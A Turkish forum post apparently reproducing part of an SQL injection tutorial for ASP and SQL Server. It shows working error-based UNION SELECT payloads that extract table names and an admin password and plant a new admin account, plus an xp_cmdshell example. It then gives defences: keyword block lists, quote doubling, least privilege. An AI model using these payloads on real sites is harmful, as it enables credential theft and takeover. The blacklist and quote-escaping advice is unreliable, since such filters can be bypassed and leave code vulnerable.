Tekil Mesaj gösterimi
Alt 01 Mart 2006, 05:03   #2
Çevrimdışı
hitman
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)



String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Table1' to a column of data type int.
/Default.asp, line 5

Hata, saldırgana "Table1" olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla veritabanındaki ilk tablo adının "Table1" olduğunu) belirtmektedir. Saldırgan diğer tabloların adını aşağıdaki şekilde öğrenebilir...

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('Table1')--

Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25Login%25'--

SQL Server'ın vereceği hata;

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Admin_Login' to a column of data type int.
/Default.asp, line 5

Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 Username FROM Admin_Login--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ilkay' to a column of data type int.
/Default.asp, line 5

Bu şekilde "admin" kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek için kullanacağı girdi;

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username='ilkay'--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '2081' to a column of data type int.
/Default.asp, line 5

Sonuç :
Username : ilkay
Password : 2081

2.5. Veritabanına Ekleme Yapma veya Veri Düzenleme:
Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve UPDATE,INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temizi başka bir kullanıcı hesabı açabilir...

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] UPDATE 'Admin_Login' SET 'Password' = 'NewPwd' WHERE Username='ilkay'--

Yeni bir kullanıcı hesabı için;

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] INSERT INTO 'Admin_Login' ('UserID', 'Username', 'Password', 'Details') VALUES (666,'Desperate_Cry','2081','N/A')--



3. Nasıl Korunmalı? - "Aksi Doğrulanıncaya Kadar Tüm Kullanıcı Girdileri Kötüdür..."

Gelebilecek SQL Enjeksiyon saldırılarından korunabilmek için alınan önlemlerde temel alınması geren nokta... "Aksi doğrulanıncaya kadar tüm kullanıcı girdileri kötüdür!".

3.1. Kullanıcı Haklarının Sınırlandırılması

Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan sistem hesabı kullanılması... Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme,silme,düzeltme eylemini gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır.

Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin verecekseniz, "web_user" gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler sütununda sadece "SELECT" kullanımına ve siparişleri için; siparişler sütununda sadece "INSERT" kullanımına izin vermeniz uygun olacaktır.

3.2. Girdilerde Tırnak İmleçlerinin (') Kötü Amaçlı Kullanımının Engellenmesi

Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz (') tırnak işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.

Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon muhtemel bir saldırıyı engellmek için yeterli olabilir.

ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;

<%
Function ReplaceQuotes(strWords)
ReplaceQuotes = Replace(strWords,”’”,”””)
End Function
%>

Bu fonksiyonu baştaki örnekte kullanırsak;

SELECT count(*) FROM Users WHERE Username='ilkay' AND Password='' OR 1=1 --'

şeklinde olan deyim...

SELECT count(*) FROM Users WHERE Username='ilkay' AND Password='" OR 1=1 --'

'e dönüşecektir.

3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi

SQL Enjeksiyon saldırıları genelde ";, --,SELECT, INSERT ve xp_" gibi karakterlerin-kelimelerin kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir.Örneğin kullanıcıdan E - Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece " @,-,_,." karakterlerinin kullanılmasına izin verilmelidir.

Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanlı DLL ler, kullanıcı taraflı fonksiyonlar...vb, izole edilmiş bir sunucuya taşınmalıdır. Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;

<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE", "xp_"')
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), ""')
Next
FilterBadWords = NewWords
End Function
%>

Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;

SELECT Username FROM Users WHERE Usename=''; EXEC master..xp_cmdshell 'dir c'; --' AND Password=''

Şeklindeki SQL Deyimi...

SELECT Username FROM Users WHERE Usename='" EXEC master.. cmdshell "dir c:" ' AND Password=''

e dönüşecektir ki bu da herhangi bir kayıt bulumadığı hatasını vermekten öteye gitmeyecektir.

Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.

3.4. Girdi Uzunluğunun Sınırlandırılması

Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50 karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem sayılabilir.

3.5. Girdi Cinsinin Kontrol Edilmesi

Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.

3.6. Girdi Cinsinin Kontrol Edilmesi

Formunuz aracılığı ile topladığınız verileri yollarken mutlaka "POST" metodunu kullanın ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini gördüklerinde akıllarına farklı fikirler gelmesin.

4. Son Söz - "Herzaman bir adım önde!"

Aldığınız güvenlik önlemleri veya (en iyi ihtimalle) yazıp da kullanmayı bir alışkanlık haline getiremediğiniz güvenlik politikaları sizi güvenlik problemlerine karşı koruyabilir mi? Eğer güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci içerisinde ele almıyorsanız hiçbir güvenlik ürünü, bir güvenlik kaybına uğramanızı engelleyemez.

Bilgi sistemleri altyapınızı taşıdıkları güvenlik zaaflarına karşı düzenli olarak kontrol ettirmek, risklerinizi takip etmek, doğru teknolojiyi doğru yerde ve doğru şekilde kullanmanızı sağlayacak güvenlik politikalarınızı oluşturup güvenlik probleminizi sürekli yönetebilecek olgunluğa ulaşmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kısmını oluşturan uygulamaların taşıyabileceği güvenlik sorunları uzun süredir ihmal edilmelerinden dolayı, günümüzün en popüler sistem sızma noktalarını teşkil etmektedirler. Bu nedenle uygulama güvenliğine ilişkin gereken önemi vermeniz, güvenlik denetimi yaptırmanız ve kurumunuzun bilgi güvenliği yönetim sistemini oluşturmaya bir yerinden başlamanızı öneriyoruz.

 
Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
sohbet odaları eglen sohbet reklamver